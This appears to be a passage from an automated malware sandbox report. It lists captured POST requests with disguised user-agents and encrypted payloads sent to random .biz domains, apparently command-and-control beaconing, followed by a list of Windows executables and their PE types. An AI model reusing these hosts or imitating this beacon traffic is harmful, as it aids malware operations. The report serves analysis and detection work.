==>33343A33303A33343A32303A37303A36313A36373A36353A32303A36653A36663A37343A32303A36363A36663A37353A36653A36343A3061....... "POST /iqacarhxjuaq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mgmsclkyu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "13:77:be:03:9a:8f:b2:b0:3e:03:00:00:d9:7f:44:d3:5b:32:92:72:75:69:0c:80:e0:1b:bd:6e:49:9d:4a:5f:8c:92:b2:99:76:0b:b3:d4:52:50:c7:e6:1a:b8:76:5c:26:2b:8f:94:fb:52:3a:26:bd:70:16:f7:f4:32:31:61:bb:4a:8e:e3:c7:f8:e8:c7:ea:70:4d:90:f2:7f:fd:88:af:4c:7e:49:e0:2b:a8:16:b6:6b:31:85:bb:43:fe:88:67:c3:3f:58:b9:77:bc:5c:e2:17:12:12:a9:45:23:2c:29:22:51:f1:23:8a:6d:e6:1d:ab:c5:45:69:ab:66:dd:15:a7:99:fb:cb:bf:47:57:a3:45:cb:c8:35:4f:fe:19:8e:d1:a8:65:46:88:c7:ff:c8:2a:53:e8:12:75:1a:19:37:d9:14:9d:e4:9d:0e:65:f6:e0:c7:2b:b9:e8:91:4a:ae:3c:93:fd:43:77:99:33:22:2e:87:50:6f:dd:0f:1e:37:a7:e7:69:54:88:fe:b1:f5:03:8a:ff:e0:e7:81:88:f3:f2:94:7c:e0:1d:49:d2:dd:35:ab:11:03:98:8b:36:60:8d:35:8e:17:a6:2f:f9:28:48:08:02:5d:96:f5:fd:35:8d:2c:ac:ac:64:98:fc:61:db:c7:6f:8a:ee:37:65:45:a1:74:6a:09:b6:91:09:65:a9:0f:6c:4c:95:ee:32:78:1e:8a:26:c8:02:c4:ab:87:c8:10:da:2b:c2:ef:9b:0f:c4:a6:2c:60:25:55:a4:18:bc:b9:2f:12:10:42:6a:fc:3a:37:73:4f:b5:1c:92:d3:70:d6:dd:4a:b2:8b:aa:5b:1d:54:7f:df:48:19:59:b5:88:c0:81:54:e9:e9:b4:98:1e:ec:e2:04:92:b7:d6:8b:cc:5f:e1:ef:63:42:1e:63:5d:fb:58:c7:65:14:3b:51:f7:84:1c:ba:56:13:17:56:10:04:56:e2:ff:0c:94:7e:8c:22:c0:f8:49:2e:10:cd:3f:b9:3e:0e:b6:bc:e5:4b:3f:c9:fa:30:31:4f:29:88:90:4c:82:3b:18:80:e3:e1:98:1d:8f:2a:c9:7a:b9:44:1a:26:6a:39:55:bc:37:13:46:aa:0d:e9:f6:f4:a4:88:9f:9b:fa:62:58:a6:4c:5b:45:e9:95:b3:2c:cc:17:6e:68:66:43:5c:5c:97:1b:ca:c9:00:f0:5b:30:e5:5a:bc:bb:8b:e7:22:f4:f6:81:91:f2:de:fd:09:94:1b:6a:b0:57:71:d9:3e:8b:77:aa:81:6d:7a:4e:1f:61:0e:a2:da:9a:b8:04:24:8f:94:40:43:40:05:b1:e2:42:55:bf:7f:7e:24:34:d3:54:38:53:d5:03:a4:fe:5e:93:7b:27:96:99:59:7d:dd:08:ab:b1:46:ee:2a:22:e9:01:82:47:a1:ca:99:b7:1f:fb:77:e5:02:f2:14:bf:bd:2c:ad:d1:31:7f:ed:59:fe:29:ff:9d:8f:b0:f9:52:68:47:87:b1:6e:5c:20:69:11:23:ed:d3:dc:0e:45:b6:aa:f1:fe:c1:07:78:2e:dc:4b:df:14:82:4f:d6:db:72:c2:e3:ae:9a:5c:84:4b:4a:55:dc:6f:41:d4:9d:8e:57:9a:e4:78:a9:41:22:6f:94:16:49:d5:29:74:1e:8b:b4:64:42:33:6c:8f:3b:cb:10:a0:3e:0b:29:85:62:dd:c8:67:58:91:0c:aa:24:f9:2b:2a:bc:a7:10:83:bf:aa:06:9e:3f:f7:19:aa:25:10:db:db:f7:41:94:dd:84:f8:c0:b1:b6:17:27:65:a5:31:17:85:03:f2:b1:85:93:b0:3d:3a:8c:55:d8:61:14:cb:2f:30:68:fb:49:23:c0:cc:f2:89:1a:50:19:d8:96:5c:41:27:22:11:12:6a:f1:67:79:fd:09:3c:39:5e:9b:2a:69:72:46:e0:31:f9:17:f6:11:ff:96:ae:d6:2a:24:39:2d:67:a0:b0:54:5e:62:5f:df:da:9b:41:83:c4:27:42:5f:20:8c:4e:5a:91:27:fd:bb:41:d4:1c:ee:9e:1d:d1:f1:53:96:04:f7:37:a2:af:a2:c8:de:b4:8b:17:d4:10:40:43:cb:21:c0:8d:bc:5d:d7:17:18:49:f1:49:f9:83:c4:0d:8b:b0:fd:10:16:89:e4:67:f8:8b:7c:a2:d3:e8:28:fa:de:30:6a:5a:d4" HTTP/1.1 200 OK Server: nginx Date: Tue 11 Nov 2025 08:51:44 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body "POST /xcdhyxqxurnkqb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: uaafd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "f7:01:3f:e2:93:a0:49:4e:3e:03:00:00:b6:63:be:59:05:0d:2d:ff:91:44:bb:25:cc:e7:a6:aa:63:fa:d9:9e:3f:d6:9e:56:37:8e:9a:ea:73:cc:b4:e8:10:fa:4b:dc:43:50:fa:4f:a6:3d:54:aa:81:a9:91:31:9d:db:ba:d0:4e:09:35:2f:c9:26:fc:6a:e7:40:b9:d7:2b:1a:34:37:91:a6:80:97:f9:80:d9:d9:c3:d9:80:27:6e:46:be:1a:f3:4b:be:f7:9d:21:c9:35:e3:bd:4d:e0:1c:c9:1c:01:ff:e7:69:c3:d8:e8:a3:ca:2c:11:e5:c8:85:eb:0a:67:c4:a2:7e:43:3b:1b:04:55:9e:16:ed:9a:c6:d2:d0:c8:ae:7d:5b:b9:47:44:a7:c3:cb:b1:d3:d6:63:d6:0a:ac:92:4d:19:5f:25:c6:1a:dd:36:6d:ef:32:4e:72:53:05:5e:29:c3:89:ef:8d:3e:66:3f:fc:e2:e4:d9:f6:f2:c0:08:26:1d:ab:5e:74:5e:98:fd:08:b6:cb:6c:d9:b3:bc:4f:48:67:33:00:49:65:e9:0f:0d:e9:a6:2d:f8:5f:1e:f0:2d:2f:45:3c:b2:19:f6:5d:3d:61:69:26:3c:48:a6:a4:24:9a:d8:af:0b:f4:25:69:0c:1e:0d:e2:7e:86:59:aa:2d:0e:be:19:fb:c2:8e:27:07:27:b9:42:d3:88:b7:4d:f1:77:a0:8f:f6:67:1a:cb:af:0c:93:c3:3e:f3:ba:56:a3:da:a1:76:85:69:91:b0:3e:db:2e:05:b8:b1:6f:88:1f:97:15:d6:a8:53:4f:b0:bc:aa:7a:67:ba:53:3b:f6:da:26:37:7d:49:9c:13:1c:08:57:50:9e:33:e5:7b:a5:59:1f:d9:a7:c4:de:34:25:25:ea:0b:96:11:52:ae:5b:e9:4c:e5:18:56:5d:1e:48:46:ff:44:92:b7:53:df:7f:08:09:60:85:61:7e:28:13:eb:3b:55:e1:67:41:b9:58:d5:b7:29:f3:68:1b:3a:60:a1:18:5e:2b:08:e3:75:b7:f0:30:d1:26:1a:6c:25:cb:e1:d5:4e:db:08:f8:e2:c8:ce:ae:c8:9c:1f:f8:98:19:1e:f2:41:77:b3:9b:40:4c:91:fe:45:d6:b5:9a:b6:25:70:b6:15:0e:65:4b:98:74:6e:2a:ef:fa:6d:25:85:ef:51:5d:2a:39:a5:02:54:a2:e3:db:5b:37:ff:af:ff:42:5b:24:14:59:c7:a8:35:b1:72:7a:9f:65:8e:36:28:d3:06:0c:28:70:42:80:8e:a9:cc:3a:5e:51:0a:c3:f6:1d:2b:71:58:b9:34:a7:5d:0b:a5:95:da:0b:35:d7:0c:26:07:04:cf:ff:ae:78:f4:8f:22:25:d7:23:09:35:58:93:19:69:3f:3d:68:bd:71:09:5d:06:64:16:d3:5e:97:e6:b2:10:4f:2a:55:bb:2b:9c:1e:20:24:ed:7a:c4:e7:7c:58:6d:73:46:60:4d:47:47:c0:c6:85:c4:54:22:88:2a:58:9e:46:47:c4:c4:31:5d:ed:22:a5:7a:50:f9:28:da:64:26:dc:4e:0a:fd:c7:eb:3f:e1:a2:2c:da:b6:ab:be:69:f5:a5:4c:4d:f2:71:9e:b9:3d:07:57:a2:61:93:2a:0a:b9:3c:43:b7:74:9e:e6:69:a6:5e:a5:8d:71:43:bf:18:6d:52:01:05:5e:6e:21:8a:0d:67:ef:9b:e0:d7:8f:b4:da:ed:24:cf:ed:6e:55:c8:29:37:06:1c:46:9b:35:c2:18:7a:20:b3:93:06:62:92:f7:5f:5e:7b:10:f2:4a:be:78:91:9f:2f:fc:99:36:5b:ff:1f:de:86:3f:fb:ea:d1:e5:de:db:ad:5f:81:c3:f6:26:60:e4:22:a0:19:0d:65:44:0f:eb:38:50:3a:c9:13:a4:38:37:85:f4:d9:b4:a1:38:fe:fc:f8:8b:92:0f:63:04:78:b6:af:53:88:78:74:39:fd:21:bf:e0:ee:9e:d4:72:5d:0e:ee:09:9f:2c:cb:c0:80:14:e4:63:38:74:77:ba:38:62:07:ec:9c:52:98:4c:4f:79:1a:df:a9:92:49:f2:d5:00:da:8f:48:38:11:54:40:29:bd:4a:9b:a5:6a:5c:19:84:a7:66:c4:30:ef:91:d3:f1:e6:09:9d:2c:f3:c4:fd:77:e3:3f:50:73:09" HTTP/1.1 200 OK Server: nginx Date: Tue 11 Nov 2025 08:52:00 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body "POST /bcfiaqho HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pwlqfu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "30:43:b8:bc:35:29:60:f2:3e:03:00:00:b6:c0:14:ca:b5:da:54:01:24:29:3f:d6:6e:71:ef:df:28:4d:26:97:42:f5:44:69:4a:43:0c:34:80:83:8c:9c:09:5c:1f:9a:fe:88:ef:4b:69:b8:7c:35:41:08:b1:d2:fe:0c:a3:98:81:0f:a5:0a:c6:15:6f:d5:3a:bb:6d:31:14:8f:5c:a7:a6:2d:e7:f9:51:a9:8e:fe:eb:93:df:41:23:df:96:bb:3f:68:6d:19:3f:3a:ff:28:f3:67:96:a5:9b:f1:ef:e4:9c:42:c8:c4:20:f7:fe:0b:3f:f1:f1:c7:38:bd:e3:e2:93:d5:13:93:ba:a5:85:2c:87:68:a3:bf:cf:a6:f5:1b:4d:73:97:36:0a:71:bb:4f:14:f1:d2:7f:f2:4d:82:e8:bf:4b:30:f3:35:96:1a:f7:cd:33:2f:ce:07:ed:09:90:19:b9:f9:c6:aa:7f:e6:08:2e:db:cf:34:b4:10:c2:fc:43:54:aa:e8:50:14:6e:7e:7d:6b:3d:a2:54:34:f8:5b:ab:4a:0a:1d:e5:49:0e:85:67:25:b7:a1:a3:7f:c7:be:13:9a:3c:f8:b2:ac:4c:4c:23:9c:66:82:29:29:9e:8b:d4:96:77:4c:3b:2c:f7:72:5a:4c:79:ce:5c:c4:d4:d1:07:dd:26:53:e5:d8:37:05:17:0b:a4:1f:95:f7:5c:48:47:37:d3:f0:6d:af:ab:f5:93:67:ef:9d:50:1f:85:86:aa:53:27:5b:09:f8:af:f6:b2:ec:ab:3a:5e:8c:ef:ba:26:5e:fa:d7:cb:49:59:fb:4b:af:cb:b0:59:6d:23:54:e2:d0:ac:a1:fe:c7:f0:38:60:87:ae:8d:1e:6c:73:05:82:76:5e:be:01:5c:e7:51:2e:55:c3:13:75:6c:c6:26:b9:61:e2:01:e2:33:ea:cb:42:00:4b:48:c8:50:58:34:4f:4c:13:cf:19:d9:ae:3f:90:e1:88:d6:86:97:45:41:8f:4d:e8:e7:fd:cd:5d:89:65:3b:31:d6:eb:53:8b:8b:fd:ba:ac:6a:ad:16:9a:3a:0a:ae:0e:80:c0:10:5e:f9:93:6b:93:e6:05:80:b0:ff:f2:55:26:1c:3e:e1:59:6f:a5:0a:61:93:ce:01:25:e9:f0:ef:65:87:c7:fd:8f:0d:47:c8:6f:7f:eb:66:bd:04:c2:54:d1:ed:35:d7:5a:b9:2c:ae:b6:f4:75:f0:e2:5b:3d:5f:cf:40:8b:f8:86:3e:2f:bd:ee:13:64:b2:04:68:c2:b4:4a:6a:c3:f8:b9:04:0a:85:e8:22:2f:c1:f4:36:b4:7a:ef:f9:13:df:cf:94:07:ae:cf:da:69:29:79:e3:e1:2c:86:5a:5f:99:07:b9:03:2f:8a:02:6d:57:8e:1d:a6:3f:cc:0a:36:01:48:6e:44:31:0b:d4:e1:38:f0:61:2b:2b:b3:96:1e:27:22:b2:88:67:e1:75:9e:87:09:31:15:f0:af:6f:10:24:59:2a:f1:f7:de:c0:fc:6e:ec:bf:2c:6f:1c:78:c3:f3:3d:b3:10:2b:b4:47:a8:48:5c:20:17:34:ef:81:9d:04:0e:86:4a:91:48:7d:22:2d:38:c4:f2:c6:3f:75:67:46:74:7e:0c:58:4a:09:f4:37:50:1a:7b:b0:04:43:6f:12:d9:96:37:44:57:12:07:34:19:27:d0:85:94:4f:7f:38:8e:50:cc:26:33:17:2b:b0:dd:93:1a:39:f1:01:c5:62:e7:a2:4d:3f:bb:e4:13:9c:4c:18:06:5c:a8:d6:df:fe:f9:76:40:44:ba:df:9f:f4:af:d8:73:a6:12:db:50:7a:43:6d:ff:7f:ce:60:00:f7:e7:2f:7e:1d:1e:ae:cc:c2:b8:3c:bf:55:f4:28:69:b3:8e:ef:d1:b9:78:f1:ae:b7:b3:75:f6:1e:59:e0:9b:9c:36:9a:40:13:da:24:31:a1:6b:40:b0:f4:90:08:0c:a7:6d:54:5e:1d:5d:c9:58:cd:cc:f5:0f:ee:7a:ef:73:8f:ff:4f:f6:c7:32:36:70:32:0d:2f:29:97:1a:15:80:12:f0:da:8b:f3:33:77:25:92:bc:a2:3a:a0:fa:ce:49:eb:55:41:b2:f5:df:b3:2f:e3:a5:4d:d9:ac:5e:23:64:91:03:86:65:ef:59:8e:dd:36:f9:79:74:7d:41:89:58:56:e6:c3:02:0a" HTTP/1.1 200 OK Server: nginx Date: Tue 11 Nov 2025 08:52:03 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body "POST /rvhbfhphasyfcsi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ctdtgwag.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "c8:97:d5:c8:d8:24:3c:ab:3e:03:00:00:62:55:14:2c:21:3f:e8:a4:64:9f:17:1b:17:23:1b:b2:2e:a0:ae:29:a3:10:74:fe:de:63:37:fa:4e:d9:3f:43:fe:57:96:1b:ed:dc:c2:e4:76:5b:e0:7f:92:22:fa:23:6c:72:d4:d2:e5:45:10:fa:ae:2e:c9:03:52:df:e9:49:15:bc:b8:df:2a:4c:b1:07:e3:eb:e9:7c:94:b8:93:bc:fc:a1:c5:0a:c9:0d:35:00:9d:eb:d0:8e:ec:fa:58:bd:a7:9e:5a:48:ab:e8:52:57:1e:92:dc:94:7f:8e:ad:b9:02:06:e2:49:01:11:af:99:40:23:17:e4:49:a6:46:1e:d9:e0:24:de:2b:09:09:f0:90:17:83:63:f4:b1:20:c1:5f:28:fc:6f:9c:d3:3f:13:6e:1d:b0:9d:20:61:7b:1d:a7:ad:7c:10:de:51:ed:bc:ee:a8:fd:c9:e1:2c:e7:64:b8:f8:b1:49:97:6f:16:d3:d8:6c:7f:93:82:fb:c8:75:dd:3d:8c:f3:c8:81:fa:f4:b0:f2:05:8d:80:e4:ab:d1:0f:4d:b1:c0:50:74:71:ab:83:45:78:24:61:4b:cf:e6:dc:9f:4e:d7:30:90:d7:7c:1a:c6:e6:b0:e8:1a:a6:9c:e6:a9:91:8e:a6:fc:c6:9e:83:a9:b1:cc:7a:0f:f7:a4:59:6c:0b:90:16:c5:2f:ee:ac:00:e5:c3:9b:cc:45:51:bb:2e:56:f2:22:50:f6:6e:d8:04:53:9e:87:b1:f9:8e:16:ba:b8:38:40:59:69:36:5c:1d:a3:15:14:84:d9:34:4a:72:4e:94:e6:b1:3c:94:f3:2f:1f:0d:ce:0c:e8:3e:d1:c9:35:c5:74:dd:9e:5f:54:74:64:69:52:75:66:90:68:25:f4:49:ee:6e:fe:62:45:a2:3a:5d:d2:c4:1a:73:a0:e0:a1:dc:f5:d8:57:b5:66:d1:95:6c:d1:e7:71:42:7f:22:89:33:df:f6:94:81:87:bd:01:f3:cb:2c:d3:d7:ea:d4:e5:43:12:d3:be:35:d6:1a:77:4b:97:0b:b2:8f:68:e6:bc:fb:e6:70:0e:b1:8b:d9:05:7a:09:39:9a:bb:d2:e8:0e:d7:47:26:db:e5:c1:13:dd:0c:70:c1:0d:6c:01:01:aa:e5:a5:da:b9:09:24:b4:8a:e0:e5:20:f8:3d:e7:6f:6c:22:8b:40:d9:51:c3:b0:0c:1c:bf:51:bf:31:10:a6:16:dd:68:49:ea:21:f4:af:60:74:7a:a3:2d:1e:a0:fe:4d:22:47:27:19:88:fc:3d:c2:7a:2a:ab:17:12:94:33:dc:d4:d8:23:7b:4f:b9:c3:e2:59:79:60:d8:b9:96:a4:c0:b7:a5:e2:3c:07:8c:37:67:6d:9a:d1:e2:8b:4d:dd:11:f6:b7:52:a0:76:fd:a2:ac:3b:23:09:b0:fd:83:38:ce:38:7d:b3:b5:4b:2f:31:df:e4:9e:9b:49:5b:05:4b:77:5a:5b:46:44:e0:85:90:bc:2e:f4:f8:16:f7:27:00:e8:33:1c:9c:96:ac:c3:fd:64:42:df:7a:f9:6a:fc:5a:aa:ab:57:12:78:19:a9:c0:ec:37:9d:dc:fb:db:2b:90:31:1d:78:d5:b3:89:88:e8:2a:60:d4:17:4a:69:fc:2f:2f:c8:cf:c2:e0:71:c2:56:6b:59:25:1e:fa:3c:ff:9f:2f:ca:ad:11:23:c0:51:0c:ef:d3:4e:1d:94:7d:62:e5:24:85:6f:61:63:ce:29:1a:58:f0:ff:00:28:65:26:cb:2f:bf:c9:86:28:7f:67:2e:70:e2:24:d9:80:6a:78:e1:fc:4e:45:1c:61:73:8b:95:6a:f8:93:8b:97:e0:99:3a:d2:a1:6f:55:04:dd:be:65:1a:08:9b:db:7f:d9:6c:1a:b9:49:be:e4:7f:45:83:66:1d:2b:8a:b3:b4:b1:c0:35:1f:64:0b:e2:a0:9c:03:66:d2:32:0d:ba:46:43:16:d3:67:9a:b6:1a:38:9e:f1:67:76:a1:3e:59:3b:00:14:16:38:ee:cc:c0:2c:5d:2a:a5:dd:5e:60:34:72:87:82:e1:48:cc:e3:06:ea:60:a6:eb:3a:be:31:f4:c0:07:65:5d:ac:fd:28:ef:04:e3:08:0d:c2:45:1c:2d:1c:7a:fb:67:af:4c:a5:dd:e9:66:28:aa:60:a6:49:73" HTTP/1.1 200 OK Server: nginx Date: Tue 11 Nov 2025 08:52:06 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response bodya7:T29c5,"chrmstp.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 15 sections"- [targetUID: N/A] "AcroRd32.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "elevation_service.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- [targetUID: N/A] "wmpnetwk.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 5 sections"- [targetUID: N/A] "7zG.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- [targetUID: N/A] "chrome_pwa_launcher.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 13 sections"- [targetUID: N/A] "cblauncher.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "dwtrig20.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "Aut2exe_x64.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- [targetUID: N/A] "Aut2exe.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "setup.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "7z.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- [targetUID: N/A] "firefox.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "notification_helper.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 13 sections"- [targetUID: N/A] "rawshark.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "LogTransport2.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- [targetUID: N/A] "updater.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "text2pcap.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "editcap.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "WatAdminSvc.exe.bin" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "capinfos.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "mergecap.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "reordercap.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "javaws.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "airappinstaller.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "AcroBroker.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "64BitMAPIBroker.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "VMwareXferlogs.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "Au3Info_x64.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "Au3Info.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- [targetUID: N/A] "javaw.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "java.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "unpack200.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 7 sections"- [targetUID: N/A] "Au3Check.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 4 sections"- [targetUID: N/A] "maintenanceservice.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "crashreporter.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "rpctool.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "comreg.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "ose.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "chrome_proxy.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- [targetUID: N/A] "GoogleUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- [targetUID: N/A] "mscorsvw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "WCChromeNativeMessagingHost.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- [targetUID: N/A] "AutoIt3_x64.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "ADelRCP.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- [targetUID: N/A] "ehsched.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- [targetUID: N/A] "mscorsvw.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "AutoIt3Help.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- [targetUID: N/A] "rpcapd.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 4 sections"- [targetUID: N/A] "wow_helper.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "jp2launcher.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "32BitMAPIBroker.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "plugin-container.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "VMToolsHookProc.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "VMwareResolutionSet.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "mscorsvw.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 4 sections"- [targetUID: N/A] "arh.exe" has type "PE32 executable for MS Windows 5.00 (console) Intel i386 5 sections"- [targetUID: N/A] "Eula.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "javacpl.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "VMwareToolboxCmd.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "ssvagent.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "mscorsvw.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 3 sections"- [targetUID: N/A] "pingsender.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 7 sections"- [targetUID: N/A] "reader_sl.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "aspnet_state.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "VGAuthCLI.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "AcroTextExtractor.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "plugin-hang-ui.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 7 sections"- [targetUID: N/A] "jabswitch.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "VMwareNamespaceCmd.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "AcroRd32Info.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "perfhost.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 4 sections"- [targetUID: N/A] "VMwareAliasImport.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "Uninstall.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 4 sections"- [targetUID: N/A] "policytool.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "pack200.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "ktab.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "klist.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "keytool.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "tnameserv.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "rmiregistry.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "orbd.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "servertool.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "kinit.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "rmid.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "jjs.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "java-rmi.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "AdobeCollabSync.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "7zFM.exe" has type "PE32+ executable for MS Windows 5.02 